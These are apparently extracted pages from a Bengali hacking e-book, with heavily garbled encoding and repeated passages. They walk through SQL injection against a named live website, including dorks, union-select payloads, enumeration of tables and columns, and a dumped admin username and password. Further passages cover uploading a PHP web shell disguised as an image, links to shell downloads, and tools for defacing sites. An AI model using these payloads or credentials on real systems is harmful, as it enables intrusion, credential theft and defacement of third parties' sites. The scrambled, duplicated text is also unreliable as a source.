নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 65: Hacking Bangla eBook

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 66: Hacking Bangla eBook

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

